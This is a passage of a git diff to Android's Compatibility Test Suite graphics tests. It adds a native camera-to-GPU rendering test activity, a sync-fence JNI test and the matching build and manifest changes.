 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Enforce public / test api only
 LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index 360e09f..205e81b 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -18,11 +18,16 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.graphics.cts">
 
+    <uses-permission android:name="android.permission.CAMERA" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <application>
         <uses-library android:name="android.test.runner" />
 
+        <activity android:name="android.graphics.cts.CameraGpuCtsActivity"
+            android:label="CameraGpuCtsActivity">
+        </activity>
+
         <activity android:name="android.graphics.cts.ImageViewCtsActivity"
             android:label="ImageViewCtsActivity">
             <intent-filter>
diff --git a/tests/tests/graphics/AndroidTest.xml b/tests/tests/graphics/AndroidTest.xml
index 81a7045..baa1e70 100644
--- a/tests/tests/graphics/AndroidTest.xml
+++ b/tests/tests/graphics/AndroidTest.xml
@@ -14,7 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Graphics test cases">
-    <option name="config-descriptor:metadata" key="component" value="graphics" />
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsGraphicsTestCases.apk" />
diff --git a/tests/tests/graphics/jni/Android.mk b/tests/tests/graphics/jni/Android.mk
index 629ae64..b92fcd7 100644
--- a/tests/tests/graphics/jni/Android.mk
+++ b/tests/tests/graphics/jni/Android.mk
@@ -24,12 +24,15 @@
 	CtsGraphicsJniOnLoad.cpp \
 	android_graphics_cts_ANativeWindowTest.cpp \
 	android_graphics_cts_BitmapTest.cpp \
+	android_graphics_cts_SyncTest.cpp \
+	android_graphics_cts_CameraGpuCtsActivity.cpp \
 	android_graphics_cts_VulkanFeaturesTest.cpp
 
-LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -std=c++14 -Wall -Werror -DGL_GLEXT_PROTOTYPES -DEGL_EGLEXT_PROTOTYPES
 
 LOCAL_STATIC_LIBRARIES := libvkjson_ndk
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan libnativewindow liblog libdl libjnigraphics
+LOCAL_SHARED_LIBRARIES := libandroid libvulkan libnativewindow libsync liblog libdl libjnigraphics \
+                          libcamera2ndk libmediandk libEGL libGLESv2
 LOCAL_NDK_STL_VARIANT := c++_static
 
 LOCAL_SDK_VERSION := current
diff --git a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
index 4a40706..fe3bbc7 100644
--- a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
+++ b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
@@ -19,6 +19,7 @@
 
 extern int register_android_graphics_cts_ANativeWindowTest(JNIEnv*);
 extern int register_android_graphics_cts_BitmapTest(JNIEnv*);
+extern int register_android_graphics_cts_CameraGpuCtsActivity(JNIEnv*);
 extern int register_android_graphics_cts_VulkanFeaturesTest(JNIEnv*);
 
 jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
@@ -29,6 +30,8 @@
         return JNI_ERR;
     if (register_android_graphics_cts_BitmapTest(env))
         return JNI_ERR;
+    if (register_android_graphics_cts_CameraGpuCtsActivity(env))
+        return JNI_ERR;
     if (register_android_graphics_cts_VulkanFeaturesTest(env))
         return JNI_ERR;
     return JNI_VERSION_1_4;
diff --git a/tests/tests/graphics/jni/android_graphics_cts_CameraGpuCtsActivity.cpp b/tests/tests/graphics/jni/android_graphics_cts_CameraGpuCtsActivity.cpp
new file mode 100644
index 0000000..dc28ced
--- /dev/null
+++ b/tests/tests/graphics/jni/android_graphics_cts_CameraGpuCtsActivity.cpp
@@ -0,0 +1,666 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "CameraGpuCtsActivity"
+
+#include <jni.h>
+#include <unistd.h>
+
+#include <deque>
+#include <memory>
+#include <mutex>
+#include <vector>
+
+#include <android/log.h>
+#include <android/native_window_jni.h>
+#include <camera/NdkCameraError.h>
+#include <camera/NdkCameraManager.h>
+#include <camera/NdkCameraDevice.h>
+#include <camera/NdkCameraCaptureSession.h>
+#include <EGL/egl.h>
+#include <EGL/eglext.h>
+#include <GLES/gl.h>
+#include <GLES/glext.h>
+#include <GLES2/gl2.h>
+#include <media/NdkImage.h>
+#include <media/NdkImageReader.h>
+
+//#define ALOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__)
+//#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
+#define ALOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+#define ALOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
+#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+namespace {
+
+static constexpr uint32_t kTestImageWidth = 640;
+static constexpr uint32_t kTestImageHeight = 480;
+static constexpr uint32_t kTestImageFormat = AIMAGE_FORMAT_PRIVATE;
+static constexpr uint64_t kTestImageUsage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
+static constexpr uint32_t kTestImageCount = 3;
+
+static const char kVertShader[] = R"(
+  attribute vec2 aPosition;
+  attribute vec2 aTextureCoords;
+  varying vec2 texCoords;
+
+  void main() {
+    texCoords =  aTextureCoords;
+    gl_Position = vec4(aPosition, 0.0, 1.0);
+  }
+)";
+
+static const char kFragShader[] = R"(
+  #extension GL_OES_EGL_image_external : require
+
+  precision mediump float;
+  varying vec2 texCoords;
+  uniform samplerExternalOES sTexture;
+
+  void main() {
+    gl_FragColor = texture2D(sTexture, texCoords);
+  }
+)";
+
+// A 80%-full screen mesh.
+GLfloat kScreenTriangleStrip[] = {
+    // 1st vertex
+    -0.8f, -0.8f, 0.0f, 1.0f,
+    // 2nd vertex
+    -0.8f, 0.8f, 0.0f, 0.0f,
+    // 3rd vertex
+    0.8f, -0.8f, 1.0f, 1.0f,
+    // 4th vertex
+    0.8f, 0.8f, 1.0f, 0.0f,
+};
+
+static void checkGlError(const char* op) {
+    for (GLint error = glGetError(); error; error
+            = glGetError()) {
+        ALOGW("after %s() glError (0x%x)\n", op, error);
+    }
+}
+
+class CameraHelper {
+  public:
+    ~CameraHelper() { closeCamera(); }
+
+    int initCamera(ANativeWindow* imgReaderAnw) {
+        if (imgReaderAnw == nullptr) {
+            ALOGE("Cannot initialize camera before image reader get initialized.");
+            return -1;
+        }
+
+        mImgReaderAnw = imgReaderAnw;
+        mCameraManager = ACameraManager_create();
+        if (mCameraManager == nullptr) {
+            ALOGE("Failed to create ACameraManager.");
+            return -1;
+        }
+
+        int ret = ACameraManager_getCameraIdList(mCameraManager, &mCameraIdList);
+        if (ret != AMEDIA_OK) {
+            ALOGE("Failed to get cameraIdList: ret=%d", ret);
+            return ret;
+        }
+        if (mCameraIdList->numCameras < 1) {
+            ALOGW("Device has no NDK compatible camera.");
+            return 0;
+        }
+        ALOGI("Found %d camera(s).", mCameraIdList->numCameras);
+
+        // We always use the first camera.
+        mCameraId = mCameraIdList->cameraIds[0];
+        if (mCameraId == nullptr) {
+            ALOGE("Failed to get cameraId.");
+            return -1;
+        }
+
+        ret = ACameraManager_openCamera(mCameraManager, mCameraId, &mDeviceCb, &mDevice);
+        if (ret != AMEDIA_OK || mDevice == nullptr) {
+            ALOGE("Failed to open camera, ret=%d, mDevice=%p.", ret, mDevice);
+            return -1;
+        }
+
+        ret = ACameraManager_getCameraCharacteristics(mCameraManager, mCameraId, &mCameraMetadata);
+        if (ret != ACAMERA_OK || mCameraMetadata == nullptr) {
+            ALOGE("Get camera %s characteristics failure. ret %d, metadata %p", mCameraId, ret,
+                  mCameraMetadata);
+            return -1;
+        }
+
+        if (!isCapabilitySupported(ACAMERA_REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE)) {
+            ALOGW("Camera does not support BACKWARD_COMPATIBLE.");
+            return 0;
+        }
+
+        // Create capture session
+        ret = ACaptureSessionOutputContainer_create(&mOutputs);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACaptureSessionOutputContainer_create failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACaptureSessionOutput_create(mImgReaderAnw, &mImgReaderOutput);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACaptureSessionOutput_create failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACaptureSessionOutputContainer_add(mOutputs, mImgReaderOutput);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACaptureSessionOutputContainer_add failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACameraDevice_createCaptureSession(mDevice, mOutputs, &mSessionCb, &mSession);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACameraDevice_createCaptureSession failed, ret=%d", ret);
+            return ret;
+        }
+
+        // Create capture request
+        ret = ACameraDevice_createCaptureRequest(mDevice, TEMPLATE_RECORD, &mCaptureRequest);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACameraDevice_createCaptureRequest failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACameraOutputTarget_create(mImgReaderAnw, &mReqImgReaderOutput);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACameraOutputTarget_create failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACaptureRequest_addTarget(mCaptureRequest, mReqImgReaderOutput);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACaptureRequest_addTarget failed, ret=%d", ret);
+            return ret;
+        }
+
+        mIsCameraReady = true;
+        return 0;
+    }
+
+    bool isCapabilitySupported(acamera_metadata_enum_android_request_available_capabilities_t cap) {
+        ACameraMetadata_const_entry entry;
+        ACameraMetadata_getConstEntry(mCameraMetadata, ACAMERA_REQUEST_AVAILABLE_CAPABILITIES,
+                                      &entry);
+        for (uint32_t i = 0; i < entry.count; i++) {
+            if (entry.data.u8[i] == cap) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    bool isCameraReady() { return mIsCameraReady; }
+
+    void closeCamera() {
+        // Destroy capture request
+        if (mReqImgReaderOutput) {
+            ACameraOutputTarget_free(mReqImgReaderOutput);
+            mReqImgReaderOutput = nullptr;
+        }
+        if (mCaptureRequest) {
+            ACaptureRequest_free(mCaptureRequest);
+            mCaptureRequest = nullptr;
+        }
+        // Destroy capture session
+        if (mSession != nullptr) {
+            ACameraCaptureSession_close(mSession);
+            mSession = nullptr;
+        }
+        if (mImgReaderOutput) {
+            ACaptureSessionOutput_free(mImgReaderOutput);
+            mImgReaderOutput = nullptr;
+        }
+        if (mOutputs) {
+            ACaptureSessionOutputContainer_free(mOutputs);
+            mOutputs = nullptr;
+        }
+        // Destroy camera device
+        if (mDevice) {
+            ACameraDevice_close(mDevice);
+            mDevice = nullptr;
+        }
+        if (mCameraMetadata) {
+            ACameraMetadata_free(mCameraMetadata);
+            mCameraMetadata = nullptr;
+        }
+        // Destroy camera manager
+        if (mCameraIdList) {
+            ACameraManager_deleteCameraIdList(mCameraIdList);
+            mCameraIdList = nullptr;
+        }
+        if (mCameraManager) {
+            ACameraManager_delete(mCameraManager);
+            mCameraManager = nullptr;
+        }
+        mIsCameraReady = false;
+    }
+
+    int takePicture() {
+        return ACameraCaptureSession_capture(mSession, nullptr, 1, &mCaptureRequest, nullptr);
+    }
+
+    static void onDeviceDisconnected(void* /*obj*/, ACameraDevice* /*device*/) {}
+
+    static void onDeviceError(void* /*obj*/, ACameraDevice* /*device*/, int /*errorCode*/) {}
+
+    static void onSessionClosed(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+    static void onSessionReady(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+    static void onSessionActive(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+  private:
+    ACameraDevice_StateCallbacks mDeviceCb{this, onDeviceDisconnected, onDeviceError};
+    ACameraCaptureSession_stateCallbacks mSessionCb{this, onSessionClosed, onSessionReady,
+                                                    onSessionActive};
+
+    ANativeWindow* mImgReaderAnw{nullptr};  // not owned by us.
+
+    // Camera manager
+    ACameraManager* mCameraManager{nullptr};
+    ACameraIdList* mCameraIdList{nullptr};
+    // Camera device
+    ACameraMetadata* mCameraMetadata{nullptr};
+    ACameraDevice* mDevice{nullptr};
+    // Capture session
+    ACaptureSessionOutputContainer* mOutputs{nullptr};
+    ACaptureSessionOutput* mImgReaderOutput{nullptr};
+    ACameraCaptureSession* mSession{nullptr};
+    // Capture request
+    ACaptureRequest* mCaptureRequest{nullptr};
+    ACameraOutputTarget* mReqImgReaderOutput{nullptr};
+
+    bool mIsCameraReady{false};
+    const char* mCameraId{nullptr};
+};
+
+class ImageReaderHelper {
+  public:
+    using ImagePtr = std::unique_ptr<AImage, decltype(&AImage_delete)>;
+
+    ImageReaderHelper(int32_t width, int32_t height, int32_t format, uint64_t usage,
+                      int32_t maxImages)
+        : mWidth(width), mHeight(height), mFormat(format), mUsage(usage), mMaxImages(maxImages) {}
+
+    ~ImageReaderHelper() {
+        mAcquiredImage.reset();
+        if (mImgReaderAnw) {
+            AImageReader_delete(mImgReader);
+            // No need to call ANativeWindow_release on imageReaderAnw
+        }
+    }
+
+    int initImageReader() {
+        if (mImgReader != nullptr || mImgReaderAnw != nullptr) {
+            ALOGE("Cannot re-initalize image reader, mImgReader=%p, mImgReaderAnw=%p", mImgReader,
+                  mImgReaderAnw);
+            return -1;
+        }
+
+        int ret =
+            AImageReader_newWithUsage(mWidth, mHeight, mFormat, mUsage, mMaxImages, &mImgReader);
+        if (ret != AMEDIA_OK || mImgReader == nullptr) {
+            ALOGE("Failed to create new AImageReader, ret=%d, mImgReader=%p", ret, mImgReader);
+            return -1;
+        }
+
+        ret = AImageReader_setImageListener(mImgReader, &mReaderAvailableCb);
+        if (ret != AMEDIA_OK) {
+            ALOGE("Failed to set image available listener, ret=%d.", ret);
+            return ret;
+        }
+
+        ret = AImageReader_getWindow(mImgReader, &mImgReaderAnw);
+        if (ret != AMEDIA_OK || mImgReaderAnw == nullptr) {
+            ALOGE("Failed to get ANativeWindow from AImageReader, ret=%d, mImgReaderAnw=%p.", ret,
+                  mImgReaderAnw);
+            return -1;
+        }
+
+        return 0;
+    }
+
+    ANativeWindow* getNativeWindow() { return mImgReaderAnw; }
+
+    int getBufferFromCurrentImage(AHardwareBuffer** outBuffer) {
+        std::lock_guard<std::mutex> lock(mMutex);
+
+        int ret = 0;
+        uint8_t* data;
+        int data_size;
+        if (mAvailableImages > 0) {
+            AImage* outImage = nullptr;
+
+            mAvailableImages -= 1;
+
+            ret = AImageReader_acquireNextImage(mImgReader, &outImage);
+            if (ret != AMEDIA_OK || outImage == nullptr) {
+                // When the BufferQueue is in async mode, it is still possible that
+                // AImageReader_acquireNextImage returns nothing after onFrameAvailable.
+                ALOGW("Failed to acquire image, ret=%d, outIamge=%p.", ret, outImage);
+            } else {
+                // Any exisitng in mAcquiredImage will be deleted and released automatically.
+                mAcquiredImage.reset(outImage);
+            }
+            // Expected getPlaneData to fail for AIMAGE_FORMAT_PRIV, if not then
+            // return error
+            ret = AImage_getPlaneData(outImage, 0, &data, &data_size);
+            if (ret != AMEDIA_IMGREADER_CANNOT_LOCK_IMAGE)
+              return -EINVAL;
+        }
+
+        if (mAcquiredImage == nullptr) {
+            return -EAGAIN;
+        }
+
+        // Note that AImage_getHardwareBuffer is not acquiring additional reference to the buffer,
+        // so we can return it here any times we want without worrying about releasing.
+        AHardwareBuffer* buffer = nullptr;
+        ret = AImage_getHardwareBuffer(mAcquiredImage.get(), &buffer);
+        if (ret != AMEDIA_OK || buffer == nullptr) {
+            ALOGE("Faild to get hardware buffer, ret=%d, outBuffer=%p.", ret, buffer);
+            return -ENOMEM;
+        }
+
+        *outBuffer = buffer;
+        return 0;
+    }
+
+    void handleImageAvailable() {
+        std::lock_guard<std::mutex> lock(mMutex);
+
+        mAvailableImages += 1;
+    }
+
+    static void onImageAvailable(void* obj, AImageReader*) {
+        ImageReaderHelper* thiz = reinterpret_cast<ImageReaderHelper*>(obj);
+        thiz->handleImageAvailable();
+    }
+
+  private:
+    int32_t mWidth;
+    int32_t mHeight;
+    int32_t mFormat;
+    uint64_t mUsage;
+    uint32_t mMaxImages;
+
+    std::mutex mMutex;
+    // Number of images that's avaiable for acquire.
+    size_t mAvailableImages{0};
+    // Although AImageReader supports acquiring multiple images at a time, we don't really need it
+    // in this test. We only acquire one image that a time.
+    ImagePtr mAcquiredImage{nullptr, AImage_delete};
+
+    AImageReader* mImgReader{nullptr};
+    ANativeWindow* mImgReaderAnw{nullptr};
+
+    AImageReader_ImageListener mReaderAvailableCb{this, onImageAvailable};
+};
+
+class CameraFrameRenderer {
+  public:
+    CameraFrameRenderer()
+        : mImageReader(kTestImageWidth, kTestImageHeight, kTestImageFormat, kTestImageUsage,
+                       kTestImageCount) {}
+
+    ~CameraFrameRenderer() {
+        if (mProgram) {
+            glDeleteProgram(mProgram);
+            mProgram = 0;
+        }
+
+        if (mEglImage != EGL_NO_IMAGE_KHR) {
+            eglDestroyImageKHR(mEglDisplay, mEglImage);
+            mEglImage = EGL_NO_IMAGE_KHR;
+        }
+    }
+
+    bool isCameraReady() { return mCamera.isCameraReady(); }
+
+    // Retrun Zero on success, or negative error code.
+    int initRenderer() {
+        int ret = mImageReader.initImageReader();
+        if (ret < 0) {
+            ALOGE("Failed to initialize image reader: %d", ret);
+            return ret;
+        }
+
+        ret = mCamera.initCamera(mImageReader.getNativeWindow());
+        if (ret < 0) {
+            ALOGE("Failed to initialize camera: %d", ret);
+            return ret;
+        }
+
+        // This test should only test devices with at least one camera.
+        if (!mCamera.isCameraReady()) {
+            ALOGW(
+                "Camera is not ready after successful initialization. It's either due to camera on "
+                "board lacks BACKWARDS_COMPATIBLE capability or the device does not have camera on "
+                "board.");
+            return 0;
+        }
+
+        // Load shader and program.
+        mProgram = glCreateProgram();
+        GLuint vertShader = loadShader(GL_VERTEX_SHADER, kVertShader);
+        GLuint fragShader = loadShader(GL_FRAGMENT_SHADER, kFragShader);
+
+        if (vertShader == 0 || fragShader == 0) {
+            ALOGE("Failed to load shader");
+            return -EINVAL;
+        }
+
+        mProgram = glCreateProgram();
+        glAttachShader(mProgram, vertShader);
+        checkGlError("glAttachShader");
+        glAttachShader(mProgram, fragShader);
+        checkGlError("glAttachShader");
+
+        glLinkProgram(mProgram);
+        GLint success;
+        glGetProgramiv(mProgram, GL_LINK_STATUS, &success);
+        if (!success) {
+            GLchar infoLog[512];
+            glGetProgramInfoLog(mProgram, 512, nullptr, infoLog);
+            ALOGE("Shader failed to link: %s", infoLog);
+            return -EINVAL;
+        }
+
+        // Get attributes.
+        mPositionHandle = glGetAttribLocation(mProgram, "aPosition");
+        mTextureCoordsHandle = glGetAttribLocation(mProgram, "aTextureCoords");
+
+        // Get uniforms.
+        mTextureUniform = glGetUniformLocation(mProgram, "sTexture");
+        checkGlError("glGetUniformLocation");
+
+        // Generate texture.
+        glGenTextures(1, &mTextureId);
+        checkGlError("glGenTextures");
+        glBindTexture(GL_TEXTURE_EXTERNAL_OES, mTextureId);
+
+        // Cache the display
+        mEglDisplay = eglGetCurrentDisplay();
+
+        return 0;
+    }
+
+    // Return Zero on success, or negative error code.
+    int drawFrame() {
+        if (!mCamera.isCameraReady()) {
+            // We should never reach here. This test should just report success and quit early if
+            // no camera can be found during initialization.
+            ALOGE("No camera is ready for frame capture.");
+            return -EINVAL;
+        }
+
+        // Indicate the camera to take recording.
+        int ret = mCamera.takePicture();
+        if (ret < 0) {
+            ALOGE("Camera failed to take picture, error=%d", ret);
+        }
+
+        // Render the current buffer and then release it.
+        AHardwareBuffer* buffer;
+        ret = mImageReader.getBufferFromCurrentImage(&buffer);
+        if (ret != 0) {
+          // There might be no buffer acquired yet.
+          return ret;
+        }
+
+        AHardwareBuffer_Desc outDesc;
+        AHardwareBuffer_describe(buffer, &outDesc);
+
+        // Render with EGLImage.
+        EGLClientBuffer eglBuffer = eglGetNativeClientBufferANDROID(buffer);
+        if (!eglBuffer) {
+          ALOGE("Failed to create EGLClientBuffer");
+          return -EINVAL;
+        }
+
+        if (mEglImage != EGL_NO_IMAGE_KHR) {
+            eglDestroyImageKHR(mEglDisplay, mEglImage);
+            mEglImage = EGL_NO_IMAGE_KHR;
+        }
+
+        EGLint attrs[] = {
+            EGL_IMAGE_PRESERVED_KHR,
+            EGL_TRUE,
+            EGL_NONE,
+        };
+
+        mEglImage = eglCreateImageKHR(mEglDisplay, EGL_NO_CONTEXT, EGL_NATIVE_BUFFER_ANDROID,
+                                      eglBuffer, attrs);
+
+        if (mEglImage == EGL_NO_IMAGE_KHR) {
+            ALOGE("Failed to create EGLImage.");
+            return -EINVAL;
+        }
+
+        glClearColor(0.4f, 0.6f, 1.0f, 0.2f);
+        glClear(GL_COLOR_BUFFER_BIT);
+        checkGlError("glClearColor");
+
+        // Use shader
+        glUseProgram(mProgram);
+        checkGlError("glUseProgram");
+
+        // Map texture
+        glEGLImageTargetTexture2DOES(GL_TEXTURE_EXTERNAL_OES, mEglImage);
+
+        glActiveTexture(GL_TEXTURE0);
+        glBindTexture(GL_TEXTURE_EXTERNAL_OES, mTextureId);
+        glUniform1i(mTextureUniform, 0);
+        checkGlError("glUniform1i");
+
+        // Draw mesh
+        glVertexAttribPointer(mPositionHandle, 2, GL_FLOAT, GL_FALSE, 4 * sizeof(GLfloat),
+                              kScreenTriangleStrip);
+        glEnableVertexAttribArray(mPositionHandle);
+        glVertexAttribPointer(mTextureCoordsHandle, 2, GL_FLOAT, GL_FALSE, 4 * sizeof(GLfloat),
+                              kScreenTriangleStrip + 2);
+        glEnableVertexAttribArray(mTextureCoordsHandle);
+
+        glDrawArrays(GL_TRIANGLE_STRIP, 0, 4);
+        checkGlError("glDrawArrays");
+
+        return 0;
+    }
+
+  private:
+    static GLuint loadShader(GLenum shaderType, const char* source) {
+        GLuint shader = glCreateShader(shaderType);
+
+        glShaderSource(shader, 1, &source, nullptr);
+        glCompileShader(shader);
+
+        GLint success;
+        glGetShaderiv(shader, GL_COMPILE_STATUS, &success);
+        if (!success) {
+            ALOGE("Shader Failed to compile: %s", source);
+            shader = 0;
+        }
+        return shader;
+    }
+
+    ImageReaderHelper mImageReader;
+    CameraHelper mCamera;
+
+    // Shader
+    GLuint mProgram{0};
+
+    // Texture
+    EGLDisplay mEglDisplay{EGL_NO_DISPLAY};
+    EGLImageKHR mEglImage{EGL_NO_IMAGE_KHR};
+    GLuint mTextureId{0};
+    GLuint mTextureUniform{0};
+    GLuint mPositionHandle{0};
+    GLuint mTextureCoordsHandle{0};
+};
+
+inline jlong jptr(CameraFrameRenderer* native_video_player) {
+    return reinterpret_cast<intptr_t>(native_video_player);
+}
+
+inline CameraFrameRenderer* native(jlong ptr) {
+    return reinterpret_cast<CameraFrameRenderer*>(ptr);
+}
+
+jlong createRenderer(JNIEnv*, jclass) {
+    auto renderer = std::unique_ptr<CameraFrameRenderer>(new CameraFrameRenderer);
+    int ret = renderer->initRenderer();
+    if (ret < 0) {
+        ALOGE("Failed to init renderer: %d", ret);
+        return jptr(nullptr);
+    }
+
+    return jptr(renderer.release());
+}
+
+bool isCameraReady(JNIEnv*, jclass, jlong renderer) {
+    if (renderer == 0) {
+        ALOGE("Invalid renderer.");
+        return -EINVAL;
+    }
+
+    return native(renderer)->isCameraReady();
+}
+
+void destroyRenderer(JNIEnv*, jclass, jlong renderer) { delete native(renderer); }
+
+jint drawFrame(JNIEnv*, jclass, jlong renderer) {
+    if (renderer == 0) {
+        ALOGE("Invalid renderer.");
+        return -EINVAL;
+    }
+
+    return native(renderer)->drawFrame();
+}
+
+const std::vector<JNINativeMethod> gMethods = {{
+    {"nCreateRenderer", "()J", (void*)createRenderer},
+    {"nIsCameraReady", "(J)Z", (void*)isCameraReady},
+    {"nDestroyRenderer", "(J)V", (void*)destroyRenderer},
+    {"nDrawFrame", "(J)I", (void*)drawFrame},
+}};
+
+}  // namespace
+
+int register_android_graphics_cts_CameraGpuCtsActivity(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/graphics/cts/CameraGpuCtsActivity");
+    return env->RegisterNatives(clazz, gMethods.data(), gMethods.size());
+}
diff --git a/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
new file mode 100644
index 0000000..aeea02c
--- /dev/null
+++ b/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "SyncTest"
+
+#include <poll.h>
+#include <unistd.h>
+
+#include <array>
+#include <memory>
+
+#include <jni.h>
+
+#include <android/sync.h>
+
+namespace {
+
+enum {
+    STATUS_ERROR = -1,
+    STATUS_UNSIGNALED = 0,
+    STATUS_SIGNALED = 1,
+};
+
+jboolean syncPoll(JNIEnv* env, jclass /*clazz*/, jintArray fds_array, jintArray status_array) {
+    jsize n = env->GetArrayLength(fds_array);
+    if (env->GetArrayLength(status_array) != n)
+        return JNI_FALSE;
+    std::unique_ptr<pollfd[]> pollfds = std::make_unique<pollfd[]>(n);
+
+    jint* fds = static_cast<jint*>(env->GetPrimitiveArrayCritical(fds_array, nullptr));
+    for (jsize i = 0; i < n; i++) {
+        pollfds[i].fd = fds[i];
+        pollfds[i].events = POLLIN;
+    }
+    env->ReleasePrimitiveArrayCritical(fds_array, fds, 0);
+
+    int ret;
+    do {
+        ret = poll(pollfds.get(), n, -1 /* infinite timeout */);
+    } while (ret == -1 && errno == EINTR);
+    if (ret == -1)
+        return JNI_FALSE;
+
+    jint* status = static_cast<jint*>(env->GetPrimitiveArrayCritical(status_array, nullptr));
+    for (jsize i = 0; i < n; i++) {
+        if (pollfds[i].fd < 0)
+            continue;
+        if ((pollfds[i].revents & (POLLERR | POLLNVAL)) != 0)
+            status[i] = STATUS_ERROR;
+        else if ((pollfds[i].revents & POLLIN) != 0)
+            status[i] = STATUS_SIGNALED;
+        else
+            status[i] = STATUS_UNSIGNALED;
+    }
+    env->ReleasePrimitiveArrayCritical(status_array, status, 0);
+
+    return JNI_TRUE;
+}
+
+jint syncMerge(JNIEnv* env, jclass /*clazz*/, jstring nameStr, jint fd1, jint fd2) {
+    const char* name = env->GetStringUTFChars(nameStr, nullptr);
+    int32_t result_fd = sync_merge(name, fd1, fd2);
+    env->ReleaseStringUTFChars(nameStr, name);
+    return result_fd;
+}
+
+jobject syncFileInfo(JNIEnv* /*env*/, jclass /*clazz*/, jint fd) {
+    auto info = sync_file_info(fd);
+    if (!info) return nullptr;
+    // TODO: convert to SyncFileInfo
+    sync_file_info_free(info);
+    return nullptr;
+}
+
+void syncClose(int fd) {
+    close(fd);
+}
+
+const std::array<JNINativeMethod, 4> JNI_METHODS = {{
+    { "nSyncPoll", "([I[I)Z", (void*)syncPoll },
+    { "nSyncMerge", "(Ljava/lang/String;II)I", (void*)syncMerge },
+    { "nSyncFileInfo", "(I)Landroid/graphics/cts/SyncTest/SyncFileInfo;", (void*)syncFileInfo },
+    { "nSyncClose", "(I)V", (void*)syncClose },
+}};
+
+}
+
+int register_android_graphics_cts_SyncTest(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/graphics/cts/SyncTest");
+    return env->RegisterNatives(clazz, JNI_METHODS.data(), JNI_METHODS.size());
+}
diff --git a/tests/tests/graphics/jni/android_graphics_cts_VulkanFeaturesTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_VulkanFeaturesTest.cpp
index 17f4e60..7018a34 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_VulkanFeaturesTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_VulkanFeaturesTest.cpp
@@ -21,12 +21,6 @@
 #include <jni.h>
 #include <vkjson.h>
 
-// TODO(jessehall): Remove this once we update the NDK vulkan.h to a newer
-// version that defines this.
-#ifndef VK_API_VERSION_1_0
-#define VK_API_VERSION_1_0 VK_MAKE_VERSION(1, 0, 0)
-#endif
-
 #define ALOGI(msg, ...) \
     __android_log_print(ANDROID_LOG_INFO, LOG_TAG, (msg), __VA_ARGS__)
 #define ALOGE(msg, ...) \
@@ -34,9 +28,43 @@
 
 namespace {
 
+const char* kDesiredInstanceExtensions[] = {
+    "VK_KHR_get_physical_device_properties2",
+};
+
 VkResult getVkJSON(std::string& vkjson) {
